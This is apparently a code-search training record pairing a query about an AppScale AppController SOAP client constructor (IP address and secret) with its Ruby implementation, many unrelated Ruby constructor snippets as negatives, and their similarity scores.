/\\.java$|\\.py$|\\.c$|\\.cpp$|\\.js$|\\.php$|\\.rb$|\\.hs$|\\.clj$|\\.go$|\\.scala$|\\.coffee$|\\.cs$|\\.groovy$\\.erl$/i\n\n unless isFile.nil?\n file = @path.to_s + \"sandbox/\" + currFile.to_s\n begin\n case @language.to_s\n when \"Java-1.8_JUnit\"\n if File.open(file).read.scan(/junit/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Java-1.8_Mockito\"\n if File.open(file).read.scan(/org\\.mockito/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Java-1.8_Powermockito\"\n if File.open(file).read.scan(/org\\.powermock/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Java-1.8_Approval\"\n if File.open(file).read.scan(/org\\.approvaltests/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Python-unittest\"\n if File.open(file).read.scan(/unittest/).count > 0\n @totaltests += File.open(file).read.scan(/def /).count\n end\n when \"Python-pytest\"\n if file.include?\"test\"\n @totaltests += File.open(file).read.scan(/def /).count\n end\n when \"Ruby-TestUnit\"\n if File.open(file).read.scan(/test\\/unit/).count > 0\n @totaltests += File.open(file).read.scan(/def /).count\n end\n when \"Ruby-Rspec\"\n if File.open(file).read.scan(/describe/).count > 0\n @totaltests += File.open(file).read.scan(/it /).count\n end\n when \"C++-assert\"\n if File.open(file).read.scan(/cassert/).count > 0\n @totaltests += File.open(file).read.scan(/static void /).count\n end\n when \"C++-GoogleTest\"\n if File.open(file).read.scan(/gtest\\.h/).count > 0\n @totaltests += File.open(file).read.scan(/TEST\\(/).count\n end\n when \"C++-CppUTest\"\n if File.open(file).read.scan(/CppUTest/).count > 0\n @totaltests += File.open(file).read.scan(/TEST\\(/).count\n end\n when \"C++-Catch\"\n if File.open(file).read.scan(/catch\\.hpp/).count > 0\n @totaltests += File.open(file).read.scan(/TEST_CASE\\(/).count\n end\n when \"C-assert\"\n if File.open(file).read.scan(/assert\\.h/).count > 0\n @totaltests += File.open(file).read.scan(/static void /).count\n end\n when \"Go-testing\"\n if File.open(file).read.scan(/testing/).count > 0\n @totaltests += File.open(file).read.scan(/func /).count\n end\n when \"Javascript-assert\"\n if File.open(file).read.scan(/assert/).count > 0\n @totaltests += File.open(file).read.scan(/assert/).count - 2 #2 extra because of library include line\n end\n when \"C#-NUnit\"\n if File.open(file).read.scan(/NUnit\\.Framework/).count > 0\n @totaltests += File.open(file).read.scan(/\\[Test\\]/).count\n end\n when \"PHP-PHPUnit\"\n if File.open(file).read.scan(/PHPUnit_Framework_TestCase/).count > 0\n @totaltests += File.open(file).read.scan(/function /).count\n end\n when \"Perl-TestSimple\"\n if File.open(file).read.scan(/use Test/).count > 0\n @totaltests += File.open(file).read.scan(/is/).count\n end\n when \"CoffeeScript-jasmine\"\n if File.open(file).read.scan(/jasmine-node/).count > 0\n @totaltests += File.open(file).read.scan(/it/).count\n end\n when \"Erlang-eunit\"\n if File.open(file).read.scan(/eunit\\.hrl/).count > 0\n @totaltests += File.open(file).read.scan(/test\\(\\)/).count\n end\n when \"Haskell-hunit\"\n if File.open(file).read.scan(/Test\\.HUnit/).count > 0\n @totaltests += File.open(file).read.scan(/TestCase/).count\n end\n when \"Scala-scalatest\"\n if File.open(file).read.scan(/org\\.scalatest/).count > 0\n @totaltests += File.open(file).read.scan(/test\\(/).count\n end\n when \"Clojure-.test\"\n if File.open(file).read.scan(/clojure\\.test/).count > 0\n @totaltests += File.open(file).read.scan(/deftest/).count\n end\n when \"Groovy-JUnit\"\n if File.open(file).read.scan(/org\\.junit/).count > 0\n @totaltests += File.open(file).read.scan(/@Test/).count\n end\n when \"Groovy-Spock\"\n if File.open(file).read.scan(/spock\\.lang/).count > 0\n @totaltests += File.open(file).read.scan(/def /).count - 1 #1 extra because of object def\n end\n else\n @totaltests = \"NA\"\n end\n rescue\n puts \"Error: Reading in count_tests\"\n end\n end\n end\nend", "def paths\n f = File.open(@path)\n f.grep(FILE_NAME_PATTERN) { $1 }\n end", "def main_files\n retrieve_files_in_main_dir\n end", "def all_files_in_cookbooks\n Util.list_directory(tmpbooks_dir, include_dot: true, recurse: true)\n .select { |fn| File.file?(fn) }\n end", "def file_paths\n Dir.glob(@filepath_pattern).sort\n end" ]
[ "0.8476455", "0.80244964", "0.78613293", "0.77027506", "0.7448862", "0.74225575", "0.7296477", "0.71977246", "0.7065644", "0.68764144", "0.679065", "0.6750063", "0.67442113", "0.66988975", "0.6652212", "0.66474307", "0.6629163", "0.658945", "0.658945", "0.658945", "0.658945", "0.65821743", "0.6579137", "0.6560453", "0.6551266", "0.65342915", "0.65321606", "0.6500911", "0.64725316", "0.64095974", "0.63948774", "0.6382498", "0.6343776", "0.6329882", "0.6316969", "0.63001215", "0.6299629", "0.6294639", "0.62747484", "0.6274523", "0.62464136", "0.6245065", "0.6242924", "0.62155014", "0.6200811", "0.6173001", "0.6160912", "0.6154062", "0.6141614", "0.61363804", "0.613457", "0.61332357", "0.6127442", "0.6126988", "0.61231095", "0.6107357", "0.6104293", "0.61040175", "0.6100964", "0.6100176", "0.6089606", "0.6088753", "0.6086297", "0.60707486", "0.6068389", "0.60682654", "0.6061745", "0.605606", "0.6049298", "0.6032022", "0.6031814", "0.60308164", "0.6017934", "0.6008417", "0.6003497", "0.60014516", "0.59966934", "0.59924287", "0.59920603", "0.5971206", "0.59703493", "0.59684587", "0.59625155", "0.59495276", "0.5933883", "0.59243983", "0.5918181", "0.59161925", "0.5913988", "0.59127384", "0.59022206", "0.5902057", "0.58994275", "0.5894697", "0.58850074", "0.5878991", "0.58682364", "0.58556545", "0.584475", "0.58440214" ]
0.64865583
28
A constructor that requires both the IP address of the machine to communicate with as well as the secret (string) needed to perform communication. AppControllers will reject SOAP calls if this secret (basically a password) is not present it can be found in the user's .appscale directory, and a helper method is usually present to fetch this for us.
def initialize(ip, secret) @ip = ip @secret = secret @conn = SOAP::RPC::Driver.new("https://#{@ip}:17443") @conn.add_method("set_parameters", "djinn_locations", "database_credentials", "app_names", "secret") @conn.add_method("set_apps", "app_names", "secret") @conn.add_method("set_apps_to_restart", "apps_to_restart", "secret") @conn.add_method("status", "secret") @conn.add_method("get_stats", "secret") @conn.add_method("update", "app_names", "secret") @conn.add_method("stop_app", "app_name", "secret") @conn.add_method("get_all_public_ips", "secret") @conn.add_method("is_done_loading", "secret") @conn.add_method("is_done_initializing", "secret") @conn.add_method("add_role", "new_role", "secret") @conn.add_method("remove_role", "old_role", "secret") @conn.add_method("get_queues_in_use", "secret") @conn.add_method("add_appserver_to_haproxy", "app_id", "ip", "port", "secret") @conn.add_method("remove_appserver_from_haproxy", "app_id", "ip", "port", "secret") @conn.add_method("add_appserver_process", "app_id", "secret") @conn.add_method("remove_appserver_process", "app_id", "port", "secret") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(params)\n @ip_address = params[:ip_address]\n @port = params[:port]\n @keystone = params[:keystone]\n end", "def initialize(user, password, application_name, host=\"192.168.0.8\", port=3790, mode='multiUser')\n @user = user\n @password = password\n @application_name = application_name\n @host = host\n @port = port\n @mode = mode\n @ticket = nil\n @soap_client = nil \n end", "def initialize(secret)\n @secret = secret\n end", "def initialize(params = {})\n @endpoint = params.fetch(:endpoint, 'http://localhost:5820')\n @endpoint_uri = URI(@endpoint)\n @username = params.fetch(:username, 'admin')\n @password = params.fetch(:password, 'admin')\n end", "def initialize(name, ip, url_endpoint)\n @name = name\n @ip = ip\n @url = \"http://#{ip}/#{url_endpoint}\"\n @username = \"\"\n @password = \"\"\n end", "def initialize(host = nil, port = DEFAULT_PORT, user = nil, secret = nil)\n if host\n connect(host, port)\n authenticate(user, secret) if user and secret\n end\n end", "def initialize\n @app_name = ENV[\"app_name\"]\n @app_password = ENV[\"app_password\"]\n @app_username = ENV[\"app_username\"]\n @faraday_adapter = Faraday.default_adapter\n end", "def initialize(appid=nil, secret=nil, securityalgorithm=nil)\n self.appid = appid if appid\n self.secret = secret if secret\n self.securityalgorithm = securityalgorithm if securityalgorithm\n end", "def initialize(secret = nil)\n @secret = secret || ENV['VOGOGO_SECRET']\n end", "def initialize(key, secret)\n super()\n self.key = key\n self.secret = secret\n end", "def initialize(device_uuid, secret)\n @device_uuid = device_uuid\n @secret = secret\n end", "def initialize(secret = '', base64: false)\n raise 'Secret can\\'t be nil' if secret.nil?\n @secret = secret\n @base64 = base64\n end", "def initialize(instance, user: nil, password: nil, oauth_token: nil, client_id: nil, client_secret: nil, use_ssl: true)\n #instance example: https://dev99218.service-now.com\n instance_with_protocol = use_ssl ? \"https://#{instance}\" : \"http://#{instance}\"\n @instance = URI.parse(instance_with_protocol)\n @user = user\n @password = password\n if (client_id && client_secret && user && password)\n @oauth_token = get_token(client_id, client_secret)\n else\n @oauth_token = oauth_token\n end\n end", "def initialize( partner_code, secret_code, options = {} )\n @partner_code = partner_code\n @secret_code = secret_code\n @host = options[ :host ] || DEFAULT_HOST\n @port = options[ :port ] || Net::HTTP.http_default_port\n end", "def initialize(address, port, token)\n throw \"bad vault address\" if nil==address\n throw \"bad vault port\" if nil==port\n throw \"bad vault token\" if nil==token\n @url = \"http://#{address}:#{port}/v1/\"\n @token = token\n @all_repos_path = 'secret/all_repos_path_storage_hash'\n @online = false\n end", "def initialize\n @app_id = \"05a059c9-c309-46af-9b86-b06d42510550\"\n @cert_file = File.join(File.dirname(__FILE__),\"certs/helloWorld.pem\")\n @cert_pass = \"\"\n @shell_url = \"https://account.healthvault-ppe.com\"\n @hv_url = \"https://platform.healthvault-ppe.com/platform/wildcat.ashx\"\n @logger = Logger.new(\"hv.log\")\n end", "def initialize(connexion:, token:, secret:)\n @connexion = connexion\n @token = token\n @secret = secret\n end", "def initialize(app_id, app_secret, uuid = nil, hostname = 'gocarrot.com')\n @app_id = app_id\n @app_secret = app_secret\n @uuid = uuid\n @hostname = hostname\n end", "def initialize(app_key = nil, opts = {})\n api_server = opts[:api_server] || 'api.empiredata.co'\n\n @app_key = app_key\n @enduser = opts[:enduser]\n @session_key = nil\n\n @http_client = HTTPClient.new\n\n protocol = api_server.start_with?('localhost') ? 'http' : 'https'\n @base_url = \"#{protocol}://#{api_server}/empire/\"\n\n @service_secrets = nil\n if opts[:secrets_yaml]\n @service_secrets = YAML.load_file opts[:secrets_yaml]\n end\n end", "def initialize(token, secret)\n @token, @secret = token, secret\n end", "def initialize access_key_id, secret_access_key, opts={}\n opts = DEFAULTS.merge opts\n @sts = SecurityTokenService.new access_key_id, secret_access_key\n @endpoint = opts[:endpoint]\n @debug = opts[:debug]\n end", "def initialize(aws_access_key_id=nil, aws_secret_access_key=nil, params={})\n init({ :name => 'EC2',\n :default_host => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).host : DEFAULT_HOST,\n :default_port => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).port : DEFAULT_PORT,\n :default_service => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).path : DEFAULT_PATH,\n :default_protocol => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).scheme : DEFAULT_PROTOCOL,\n :default_api_version => @@api },\n aws_access_key_id || ENV['AWS_ACCESS_KEY_ID'] , \n aws_secret_access_key|| ENV['AWS_SECRET_ACCESS_KEY'],\n params)\n end", "def initialize(service_consumer_key, service_shared_secret)\n @service_consumer_key = service_consumer_key\n @service_shared_secret = service_shared_secret\n end", "def initialize(aws_access_key_id=nil, aws_secret_access_key=nil, params={})\n init({ :name => 'EC2', \n :default_host => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).host : DEFAULT_HOST, \n :default_port => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).port : DEFAULT_PORT,\n :default_service => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).path : DEFAULT_PATH, \n :default_protocol => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).scheme : DEFAULT_PROTOCOL }, \n aws_access_key_id || ENV['AWS_ACCESS_KEY_ID'] , \n aws_secret_access_key|| ENV['AWS_SECRET_ACCESS_KEY'],\n params)\n end", "def initialize(secret, *_signature_key_or_options)\n @box = RbNaCl::SimpleBox.from_secret_key(secret)\n end", "def initialize(application_id, secret, user_token, production = false)\n @connection = Connection.new(application_id, secret, user_token, production)\n end", "def initialize(ip, secret)\n @ip = ip\n @secret = secret\n \n @conn = SOAP::RPC::Driver.new(\"https://#{@ip}:17443\")\n @conn.add_method(\"neptune_start_job\", \"job_data\", \"secret\")\n @conn.add_method(\"neptune_put_input\", \"job_data\", \"secret\")\n @conn.add_method(\"neptune_get_output\", \"job_data\", \"secret\")\n @conn.add_method(\"neptune_get_acl\", \"job_data\", \"secret\")\n @conn.add_method(\"neptune_set_acl\", \"job_data\", \"secret\")\n @conn.add_method(\"neptune_compile_code\", \"job_data\", \"secret\")\n end", "def initialize_secret(opts = {})\n secret = if opts[:username] && opts[:password]\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Using provided plain credentials\"\n \"#{opts[:username]}:#{opts[:password]}\"\n else\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Falling back to file and environment credentials\"\n opts[:auth_file] ? File.read(opts[:auth_file]) : nil\n end\n secret.strip! if secret\n secret\n end", "def initialize(app_id, app_secret)\n @app_id = app_id\n @app_secret = app_secret\n end", "def initialize(server, hs_admin, priv_key_path, pass_phrase = nil)\n @hs_admin = hs_admin\n @private_key_path = priv_key_path\n @pass_phrase = pass_phrase\n @base_url = 'https://' + server + '/api'\n @session_id = initialize_session\n end", "def initialize(cert, host, client_name = '', service_name = 'AnyMote')\n @pair = PairingRequest.new\n @cert = cert\n @host = host\n @pair.client_name = client_name\n @pair.service_name = service_name\n end", "def initialize(url=nil, app_token=nil, headers=nil, password=nil)\n\n\t\tif not url.nil?\n\t\t\t@url = url\n\t\tend\n\n\t\tif not headers.nil?\n\t\t\t@headers = headers\n\t\tend\n\n\t\tif not app_token.nil?\n\t\t\t@app_token = app_token\n\t\tend\n\n\t\tif not password.nil?\n\t\t\t@password = password\n\t\t\t#@password = Base64.decode64(@password_encoded)\n\t\tend\n\tend", "def initialize(env, secret)\n env[:url] = Addressable::URI.parse env[:url]\n @env, @secret = env, secret\n end", "def initialize(access_key = nil, secret_key = nil)\n @access_key = access_key\n @secret_key = secret_key\n end", "def initialize(access_key = nil, secret_key = nil)\n @access_key = access_key\n @secret_key = secret_key\n end", "def initialize\r\n @apiKey = API_KEY\r\n @secret = SECRET\r\n end", "def initialize(endpoint, username, password, options = nil)\n @endpoint = URI.parse(endpoint)\n @username = username\n @password = password\n @options = options || {}\n end", "def initialize(params = {})\n @ip = params[:ip] ||\n Socket.getaddrinfo(params[:address], params[:protocol])[0][3]\n end", "def initialize(params = {})\n @ip = params[:ip] ||\n Socket.getaddrinfo(params[:address], params[:protocol])[0][3]\n end", "def initialize(secret=nil, endpoint=nil, options={})\n if secret\n @one_auth = secret\n elsif ENV[\"ONE_AUTH\"] and !ENV[\"ONE_AUTH\"].empty? and\n File.file?(ENV[\"ONE_AUTH\"])\n @one_auth = File.read(ENV[\"ONE_AUTH\"])\n elsif ENV[\"HOME\"] and File.file?(ENV[\"HOME\"]+\"/.one/one_auth\")\n @one_auth = File.read(ENV[\"HOME\"]+\"/.one/one_auth\")\n elsif File.file?(\"/var/lib/one/.one/one_auth\")\n @one_auth = File.read(\"/var/lib/one/.one/one_auth\")\n else\n raise NO_ONE_AUTH_ERROR\n end\n\n @one_auth = @one_auth.rstrip\n\n if endpoint\n @one_endpoint = endpoint\n elsif ENV[\"ONE_XMLRPC\"]\n @one_endpoint = ENV[\"ONE_XMLRPC\"]\n elsif ENV['HOME'] and File.exist?(ENV['HOME']+\"/.one/one_endpoint\")\n @one_endpoint = File.read(ENV['HOME']+\"/.one/one_endpoint\")\n elsif File.exist?(\"/var/lib/one/.one/one_endpoint\")\n @one_endpoint = File.read(\"/var/lib/one/.one/one_endpoint\")\n else\n @one_endpoint = \"http://localhost:2633/RPC2\"\n end\n\n @one_endpoint= @one_endpoint.rstrip\n\n @async = !options[:sync]\n\n if options[:subscriber_endpoint]\n @one_zmq = options[:subscriber_endpoint]\n elsif ENV[\"ONE_ZMQ\"]\n @one_zmq = ENV[\"ONE_ZMQ\"]\n else\n @one_zmq = 'tcp://localhost:2101'\n end\n\n timeout=nil\n if options[:timeout]\n timeout = options[:timeout]\n elsif ENV['ONE_XMLRPC_TIMEOUT']\n timeout = ENV['ONE_XMLRPC_TIMEOUT'].to_i\n end\n\n http_proxy=nil\n http_proxy=options[:http_proxy] if options[:http_proxy]\n\n @server = XMLRPC::Client.new2(@one_endpoint, http_proxy, timeout)\n @server.http_header_extra = {'accept-encoding' => 'identity'}\n\n http = @server.instance_variable_get(\"@http\")\n\n if options[:cert_dir] || ENV['ONE_CERT_DIR']\n raise \"SSL options don't work in async mode\" if @async\n\n cert_dir = options[:cert_dir] || ENV['ONE_CERT_DIR']\n cert_files = Dir[\"#{cert_dir}/*\"]\n\n cert_store = OpenSSL::X509::Store.new\n cert_store.set_default_paths\n cert_files.each {|cert| cert_store.add_file(cert) }\n\n http.cert_store = cert_store\n end\n\n if options[:disable_ssl_verify] || ENV['ONE_DISABLE_SSL_VERIFY']\n raise \"SSL options don't work in async mode\" if @async\n\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n if defined?(OxStreamParser)\n @server.set_parser(OxStreamParser.new)\n elsif OpenNebula::NOKOGIRI\n @server.set_parser(NokogiriStreamParser.new)\n elsif XMLPARSER\n @server.set_parser(XMLRPC::XMLParser::XMLStreamParser.new)\n end\n end", "def client_secret=(_arg0); end", "def initialize(api_key = nil, shared_secret = nil, options = nil)\n @api_key = api_key || @@default_api_key\n @shared_secret = shared_secret || @@default_shared_secret\n @options = options || @@default_options\n @rest_endpoint = @options[:rest_endpoint] || REST_ENDPOINT\n @auth_endpoint = @options[:auth_endpoint] || AUTH_ENDPOINT\n end", "def initialize(aws_access_key_id=nil, aws_secret_access_key=nil, params={})\n init({ :name => 'ACW',\n :default_host => ENV['ACW_URL'] ? URI.parse(ENV['ACW_URL']).host : DEFAULT_HOST,\n :default_port => ENV['ACW_URL'] ? URI.parse(ENV['ACW_URL']).port : DEFAULT_PORT,\n :default_service => ENV['ACW_URL'] ? URI.parse(ENV['ACW_URL']).path : DEFAULT_PATH,\n :default_protocol => ENV['ACW_URL'] ? URI.parse(ENV['ACW_URL']).scheme : DEFAULT_PROTOCOL,\n :default_api_version => ENV['ACW_API_VERSION'] || API_VERSION },\n aws_access_key_id || ENV['AWS_ACCESS_KEY_ID'] ,\n aws_secret_access_key|| ENV['AWS_SECRET_ACCESS_KEY'],\n params)\n end", "def initialize(aws_access_key_id=nil, aws_secret_access_key=nil, params={})\n init({ :name => 'IAM',\n :default_host => ENV['IAM_URL'] ? URI.parse(ENV['IAM_URL']).host : DEFAULT_HOST,\n :default_port => ENV['IAM_URL'] ? URI.parse(ENV['IAM_URL']).port : DEFAULT_PORT,\n :default_service => ENV['IAM_URL'] ? URI.parse(ENV['IAM_URL']).path : DEFAULT_PATH,\n :default_protocol => ENV['IAM_URL'] ? URI.parse(ENV['IAM_URL']).scheme : DEFAULT_PROTOCOL,\n :default_api_version => ENV['IAM_API_VERSION'] || API_VERSION },\n aws_access_key_id || ENV['AWS_ACCESS_KEY_ID'] ,\n aws_secret_access_key|| ENV['AWS_SECRET_ACCESS_KEY'],\n params)\n end", "def initialize(host, username = nil, passwd = nil,detec = nil)\n @control_url = \"http://#{host}/cgi-bin/\"\n @username = username\n @password = passwd\n @deteccion = detec\n @auth_id = Base64.encode64(\"#{username}:#{passwd}\") if username\n end", "def initialize (environment)\n environment=environment.to_sym if environment.is_a?String\n aws_settings=Helpers.load_json_data_to_hash(\"settings/aws-data.json\")\n throw \"can't find this environment,'#{environment}'\" if !aws_settings.has_key? environment\n environment_data= aws_settings[environment]\n driver = VaultDriver.from_secrets_file environment.to_s\n if environment_data.key?(:secrets)\n notify 'vault unlocked' if driver.unlock_vault(environment_data[:secrets][:vault][:keys]) == 200\n else\n notify 'no vault secrets file.'\n end\n driver.get_vault_status\n if driver.online && !driver.locked\n vault_data,code = driver.get_json(\"secret/ossec-manager\")\n else\n throw \"vault is off line or locked\"\n end\n throw \"couldn't get ossec data\" if code >399\n @username=vault_data['username']\n @password=vault_data['password']\n addresses=OssecManager.get_ossec_manager_ip_for_environment(environment)\n throw \"there is no server address for the environment #{environment}\" if addresses==nil\n @server_address=addresses[0]\n @private_server_address=addresses[1]\n @server_port=55000\n end", "def initialize(username, password, host=HOST_PRODUCTION)\n @username = username\n @password = password\n @host = host\n end", "def initialize(crowd_url, app_name, app_password, options = {})\n @crowd_url = crowd_url\n @crowd = Savon::Client.new(@crowd_url + (Client.debug? ? '?wsdl' : ''))\n if options[:verify_cert] == false\n @crowd.request.http.ssl_client_auth(:verify_mode => OpenSSL::SSL::VERIFY_NONE)\n end\n @app_name = app_name\n @app_password = app_password\n @app_token = nil\n end", "def initialize(rapid_api_endpoint, rapid_access_key, rapyd_secret_key)\n if rapid_api_endpoint.present? && rapid_access_key.present? && rapyd_secret_key.present?\n self.base_url = rapid_api_endpoint\n self.access_key = rapid_access_key\n self.secret_key = rapyd_secret_key\n self.rest_client = RestClientService.new(base_url)\n else\n raise StandardError, 'Missing paramteres'\n end\n end", "def initialize(*args)\n @config = Betaface::Util::ClientConfig.new \n @key = args[0] || Betaface.key\n @secret = args[1] || Betaface.secret\n if @key.nil? || @secret.nil?\n raise ArgumentError, 'Key and Secret are required'\n end\n end", "def initialize(api_key, secret, user, session_key=nil)\n @api_key = api_key\n @secret = secret\n @user = user\n @session_key = session_key\n @source = \"P\"\n end", "def initialize(client_id:, client_secret:, access_token: nil, transport: Faraday)\n @client_id = client_id.to_s\n @client_secret = client_secret.to_s\n @access_token = access_token.to_s\n @transport = transport\n end", "def initialize secret = Time.now.to_f, uri = OPENDHT_URI\n @uri = uri\n uri = URI.parse(@uri)\n\n @rpc = XMLRPC::Client.new3(\n :host => uri.host,\n :port => uri.port,\n :path => uri.path\n )\n @secret = secret.to_s\n @internal_hash = Hash.new { |h,k|\n h[k] = RemoteArray.new(k, @secret, @uri)\n }\n self.debug_output = nil\n self.debug_output = Logger.new($stdout) if $DEBUG\n end", "def initialize(username, password, options = {})\n @username = username\n @password = password\n @keep_alive = options[:keep_alive]\n @responsys_client = ResponsysWS.new\n @responsys_client.wiredump_dev = options[:wiredump_dev] if options[:wiredump_dev]\n end", "def initialize(access_key, secret_key)\n @access_key = access_key\n @secret_key = secret_key\n end", "def initialize(options={})\n @debug = options[:debug]\n @wskey = options[:wskey]\n @secret = options[:secret]\n @principalDNS = options[:principalDNS]\n @principalID = options[:principalID]\n end", "def get_app the_host, the_user, the_pass\n app = ImapClear::App.new\n app.host = the_host\n app.port = 993\n app.user = the_user\n app.pass = the_pass\n\n app\nend", "def initialize(app_id, secret)\n options = {\n site: Parameter::SITE,\n authorize_url: AUTHORIZE_URL,\n token_url: TOKEN_URL\n }\n\n raise 'ใ‚ขใƒ—ใƒชใ‚ฑใƒผใ‚ทใƒงใƒณIDใŒๅ…ฅๅŠ›ใ•ใ‚Œใฆใ„ใพใ›ใ‚“' if app_id.empty?\n raise 'SecretใŒๅ…ฅๅŠ›ใ•ใ‚Œใฆใ„ใพใ›ใ‚“' if secret.empty?\n @client = OAuth2::Client.new(app_id, secret, options)\n end", "def initialize(email, password, apikey)\n @config, @config[:email], @config[:password],@config[:apikey] = {}, email, password,\"?app_key=#{apikey}\"\n end", "def initialize(options={})\n @host = options[:host] || ENV['OT_HOST']\n @user = options[:user] || ENV['OT_USER']\n @password = options[:password] || ENV['OT_PASSWORD']\n end", "def initialize(api_key, secret, api_uri)\n @api_key = api_key\n @secret = secret\n @api_uri = api_uri\n end", "def initialize(appid=@@appid, secret=@@secret)\n @appid = appid\n @secret = secret\n @cookie = nil\n @stoken = nil\n @token = nil\n\n @signkey = self.derive(\"SIGNATURE\")\n @cryptkey = self.derive(\"ENCRYPTION\")\n\n @uid = nil\n @ts = nil\n end", "def initialize(api_key, api_secret, suppress_exceptions = false)\n \n # required parameters\n @api_key = api_key\n @api_secret = api_secret\n \n # calculated parameters\n @api_server_base_url = API_SERVER_BASE_URL\n @api_server_path = API_PATH_REST\n \n # optional parameters\n @suppress_exceptions = suppress_exceptions\n \n # initialize internal state\n @last_call_was_successful = true\n @last_error = nil\n @session_expired = false\n \n end", "def initialize(opts = {})\n raise InvalidOption, :shared_secret unless opts[:shared_secret]\n self.shared_secret = opts[:shared_secret]\n self.issuer = opts[:issuer]\n self.audience = opts[:audience]\n self.expiration = (opts[:expiration] or 3600)\n end", "def initialize(client_id, application_secret, redirect_uri, access_token = nil)\n # The client_id must be a Integer\n raise PutioError::ClientIDInvalid unless client_id.to_s.is_i?\n\n # Store arguments as instance variables\n @client_id = client_id\n @application_secret = application_secret\n @redirect_uri = redirect_uri\n @access_token = access_token || nil\n end", "def initialize api_key, api_secret\n @api_key = api_key\n @api_secret = api_secret\n end", "def initialize(server_uri = nil, api_key = nil)\n config = Shacip::Client.configuration\n @server_uri = URI.parse(server_uri&.to_s || config.server_uri.to_s)\n @api_key = api_key || config.api_key\n @http = Net::HTTP.new(@server_uri.host, @server_uri.port)\n end", "def initialize(username, password)\n @username = username\n @password = password\n @api_key = \"\"\n end", "def initialize(user, password)\n @user = user\n @password = password\n\n # In the constructor, try to authenticate and get the access_token and\n # client_id\n authenticate\n end", "def initialize(host, port, password, type=HLDS)\n @host = host\n @port = port\n @password = password\n @server_type = type\n end", "def initialize\n # API support utilizes excon, if it isn't found an error will be raised\n require 'excon'\n\n # rXg production environments should ALWAYS have a valid certificate\n # If no valid certificate for device uncomment line below\n # Excon.defaults[:ssl_verify_peer] = false\n\n # Configure a static device address and API key here\n # Device address format example: https://google.com\n @device_address = set_device_address\n @device_api_key = set_api_key(@device_address)\n end", "def initialize(username, password, application)\n @name = username\n @application = application\n @password = password\n end", "def initialize(p)\n @host = p[:host]\n @port = p[:port]\n @user = p[:user]\n @pass = p[:pass]\n @cvsroot = p[:cvsroot].strip\n @debug = p[:debug]\n @ports_tree = p[:ports_tree].strip\n\n @client = TCPSocket.open(@host, @port)\n request(\"BEGIN AUTH REQUEST\")\n request(@cvsroot)\n request(@user)\n request(CVSDumb.pass_scramble(@pass))\n request(\"END AUTH REQUEST\")\n fail \"cannot auth to #{@user}@#{@host}\" if getline != 'I LOVE YOU'\n end", "def initialize(username, password, https=true, log=false, requestlog=true)\n\n\t\t# need it for every request - will be merged in\n\t\tself.opts= { :param => { :login => username, :password => password}}\n\t\t\n\t\t# set savon logging and erros\n\t\tSavon.configure do |config|\n\t\t\tconfig.raise_errors = true # raise SOAP faults and HTTP errors\n\t\t\tconfig.log = log # enable/disable logging\n\t\t\tconfig.log_level = :debug # changing the log level\n\t\tend\n\t\t\n\t\tHTTPI.log=requestlog\n\t\t\n\t\t# build dynamically all methods - some magic :-)\n\t\tmake_methods\n\t\t\n\t\t# creates client with memotoo settings \n\t\tclient(https)\n\tend", "def initialize(o_auth_client_id: nil, o_auth_client_secret: nil)\r\n Configuration.o_auth_client_id = o_auth_client_id if\r\n o_auth_client_id\r\n Configuration.o_auth_client_secret = o_auth_client_secret if\r\n o_auth_client_secret\r\n end", "def initialize(username, password, http_adapter = nil)\r\n http_adapter = http_adapter.nil? ? HTTPAdapter.new : http_adapter\r\n http_adapter.set_auth(username, password)\r\n\r\n @http_client = HTTPClient.new(CLX::base_url, http_adapter)\r\n end", "def initialize(opts)\n @secret = opts.fetch(:secret)\n @message = opts[:message]\n @iv = opts[:iv]\n @now = opts[:now]\n end", "def initialize(partner_id, partner_secret, options = nil)\n @partner_id = partner_id\n @partner_secret = partner_secret.strip\n\n if options.is_a?(::Hash)\n @api_url = options[:api_url] || API_URL\n end\n\n unless @api_url\n @api_url = API_URL\n end\n end", "def initialize(authorization_code, client_secret: nil)\n @authorization_code = authorization_code\n @client_secret = client_secret || ENV.fetch('FORTNOX_CLIENT_SECRET')\n end", "def initialize hostname, user=nil, apikey=nil\n @user = user\n @apikey = apikey\n @hostname = hostname\n initialize_connection @hostname\n end", "def initialize(server_host, server_port = nil, username = 'admin', password = 'admin', use_tls = false, version = API_CURRENT_VERSION)\n @version = version\n protocol = use_tls ? 'https' : 'http'\n server_port = use_tls ? 7183 : 7180 if server_port.nil?\n base_url = \"#{protocol}://#{server_host}:#{server_port}/api/v#{version}\"\n\n client = HttpClient.new(base_url, ApiException)\n client.set_basic_auth(username, password, API_AUTH_REALM)\n client.headers = { :'content-type' => 'application/json' }\n super(client)\n end", "def initialize(filename = nil, namespace = nil, password = nil)\n @pw_file = File.expand_path(filename || ENV[\"PWS\"] || '~/.pws')\n @pw_file << namespace if namespace\n access_safe(password)\n read_safe\n end", "def initialize(basic_auth_user_name: nil, basic_auth_password: nil, secret_key: nil)\r\n @configuration = Configuration.new(basic_auth_user_name,\r\n basic_auth_password,\r\n secret_key)\r\n end", "def initialize(app_id, app_secret, api_key, email, password)\n\n merge!(\n {\n applicationCredentials: {\n applicationId: app_id,\n applicationSecret: app_secret\n },\n userCredentials: {\n apiKey: api_key,\n email: email,\n password: password \n }\n }\n )\n end", "def initialize(params = {})\n @host = params[:host] || MooMoo.config.host || raise(OpenSRSException, \"Host is required\")\n @key = params[:key] || MooMoo.config.key || raise(OpenSRSException, \"Key is required\")\n @username = params[:username] || MooMoo.config.username || raise(OpenSRSException, \"Username is required\")\n @password = params[:password] || MooMoo.config.password || raise(OpenSRSException, \"Password is required\")\n @port = params[:port] || MooMoo.config.port || 